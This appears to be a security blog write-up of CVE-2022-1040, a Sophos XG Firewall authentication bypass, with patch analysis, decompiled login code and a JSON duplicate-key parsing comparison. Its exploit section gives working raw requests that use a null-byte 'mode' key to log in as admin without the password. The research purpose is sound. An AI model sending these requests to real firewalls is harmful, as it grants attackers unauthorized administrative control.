Sophos XG Firewall Authentication bypass allowing Remote Code Execution — CVE-2022–1040

Architecture

  • Apache: WebServer, receiving connections from outside.
  • Jetty: WebServer of WebConsole and WebPortal is forwarded from Apache. Requests are filtered, initiated, and passed back to the CSC. The session is also handled here.
  • CSC: Handles the main requirements of the whole system. CSC uses a protocol akin to HTTP over both TCP and UDP. CSC is written in C but the logic is written in Perl through the Perl C Language Interface.
  • Perl package: contains information about verification schemes and the logic of queries.
  • Postgresql: used by both Jetty, CSC, and Perl to query the data on the Database.

CVE-2022–1040

Patch analysis

Duplicate keys in JSON

  • ECMA-404 “The JSON Data Interchange Syntax” does not mention whether or not key duplication occurs.
  • RFC 8259 “The JavaScript Object Notation (JSON) Data Interchange Format” only mentions that the Keys SHOULD not match.
import org.json.JSONObject val json = JSONObject("{ \"name\": \"test\", \"name\": \"test2\"}") println(json)Output: org.json.JSONException: Duplicate key "name" at org.json.JSONObject.putOnce(JSONObject.java:1094) at org.json.JSONObject.<init>(JSONObject.java:206) at org.json.JSONObject.<init>(JSONObject.java:420)

json-c in CSCS

#include <iostream>
#include <json-c/json.h>
int main() { auto jsonObj = json_tokener_parse(R"({ "name": "test1", "name": "test2"})"); std::cout << json_object_to_json_string(jsonObj) << std::endl; return 0; }
Output: { "name": "test2" }

Authentication Flow

public class CyberoamCommonServlet extends HttpServlet {
private void _doPost(HttpServletRequest servletRequest, HttpServletResponse response, int mode, SqlReader sqlReader) throws IOException, JSONException {
EventBean eventObject = null;
//...
eventObject = EventBean.getEventByMode(mode);
// ...
String transactionID = CSCClient.getTransactionID();
transactionBean.setTransactionID(transactionID);
CyberoamCustomHelper.process(request, response, eventObject, transactionBean, sqlReader);
// ...
}
}
public class WebAdminAuth {
public static void process(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader) {
final JSONObject jsonObject = new JSONObject(request.getParameter("json"));
final int languageId = jsonObject.getInt("languageid");
final int returnedStatus = cscClient.generateAndSendAjaxEvent(request, response, eventBean, sqlReader);
if (returnedStatus == 200 || returnedStatus == 201) {
String uname = "";
if (jsonObject.has("username")) {
uname = jsonObject.getString("username");
}

// ...
final SessionBean sessionBean = new SessionBean();
sessionBean.setUserName(uname);
// ...
}
}
}
public class CSCClient {
public int generateAndSendAjaxEvent(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader, final boolean callOpcodeInParallel) {
int returnedStatus = 500;
try {
final TransactionBean transactionBean = new TransactionBean();
final JSONObject jsonObject = GenerateOpCode.generateOpCode(eventBean, request, response, transactionBean);
if (jsonObject != null) {
if (callOpcodeInParallel) {
returnedStatus = this.sendInParallel(eventBean, jsonObject, request, sqlReader);
} else {
returnedStatus = this.send(eventBean, jsonObject, request, sqlReader);
}
}
} catch (final Exception e) {
CyberoamLogger.error("CSC", "Error in generateAndSendAjaxEvent() : ", e);
return returnedStatus;
}
return returnedStatus;
}
private int _send(final EventBean eventBean, final JSONObject reqJSONObj, final HttpServletRequest req, final SqlReader sqlReader) {
doLogging(eventBean, reqJSONObj);
int returnValue = 200;
try {
// ...
if (CSCConstants.isCCC) {
// ...
}
else {
reqJSONObj.put("mode", eventBean.getMode());
//...

final byte[] buff = GenerateOpCode.getOpcodeWithHeader(eventBean, reqJSONObj);
final String strResponse = "";
if ("u".equalsIgnoreCase(eventBean.getComProtocol())) {
returnValue = this.sendUDP(buff, eventBean);
}
else {
returnValue = this.sendTCP(buff, eventBean);
}
}
}
catch (final Exception e) {
CyberoamLogger.error("CSC", "Exception occured in _send(): " + e, e);
returnValue = 598;
}
return returnValue;
}

private int sendTCP(final byte[] buff, final EventBean eventBean) {
try {
//...
returnValue = this.getStatusFromResponse(strResponse.toString(), eventBean);
} catch (final Exception e) {
return 598;
}
return returnValue;
}
private int sendUDP(byte[] buff, final EventBean eventBean) {
// Same sendTCP
}
}
public class CSCClient {
public int getStatusFromResponse(final String response, final EventBean eventBean) {
int returnValue = 500;
try {
String strStatus = "";
if (eventBean.getResponseType() == 1) {
// ...
} else {
final int index2 = response.indexOf("\n\n");
if (index2 != -1) {
final String returnstring = response.substring(index2 + 2);
final JSONObject json = new JSONObject(returnstring);
strStatus = json.get("status").toString();
this.setStatusMessage(json.get("statusmessage").toString());
}
}
returnValue = Integer.parseInt(strStatus.trim());
} catch (final Exception e) {
returnValue = 598;
}

return returnValue;
}
}
{
"status": "200",
"statusmessage": "something not null"
}

Exploit

opcode apiInterface csc/1.2
content-type:json
content-length:312
{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":" 10.10.10.15 ","currentlyloggedinuserip":"10.10.10.1","username":"admin"}
csc/1.2 500 OK
content-length:61
{ "status": "500", "statusmessage": "Authentication failed" }---
opcode apiInterface csc/1.2
content-type:json
content-length:343
{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":" 10.10.10.15","currentlyloggedinuserip":"10.10.10.1","username":"admin", "accessaction":1, "mode\u0000":716}
csc/1.2 200 OK
content-length:47
{ "status": "200", "statusmessage": "success" }
POST /webconsole/Controller HTTP/1.1
// Other request header
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000"%3a716}&__RequestType=ajax&t=1653896534066
HTTP/1.1 200 OK
// Other response header
{"redirectionURL":"/webpages/login.jsp","status":-1}
{"___serverport":4444,"___component":"GUI","languageid":"1","mode\u0000":716,"transactionid":"72","accessaction":1,"mode":151,"password":"somethingnotpassword","currentlyloggedinuserid":3,"APIVersion":"1805.2","browser":"Chrome_101","___serverprotocol":"HTTP","___username":"admin","___meta":{"sessionType":1},"___serverip":"10.10.10.15","currentlyloggedinuserip":"10.10.10.1","username":"admin"}
import java.util.Arrays;static int hash(Object key) {
int h;
return key == null ? 0 : (h = key.hashCode()) ^ h >>> 16;
}
static int getBucket(Object key, int capacity) {
return hash(key) & capacity - 1;
}
String[] keys = {"mode", "mode\u0000", "mode\u0000ef"};Arrays.stream(keys).forEach((key) -> {
System.out.println("Key " + key + " put in bucket " + getBucket(key, 32));
});
Key mode put in bucket 16
Key mode[NULL] put in bucket 14
Key mode[NULL]ef put in bucket 30

Summary

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.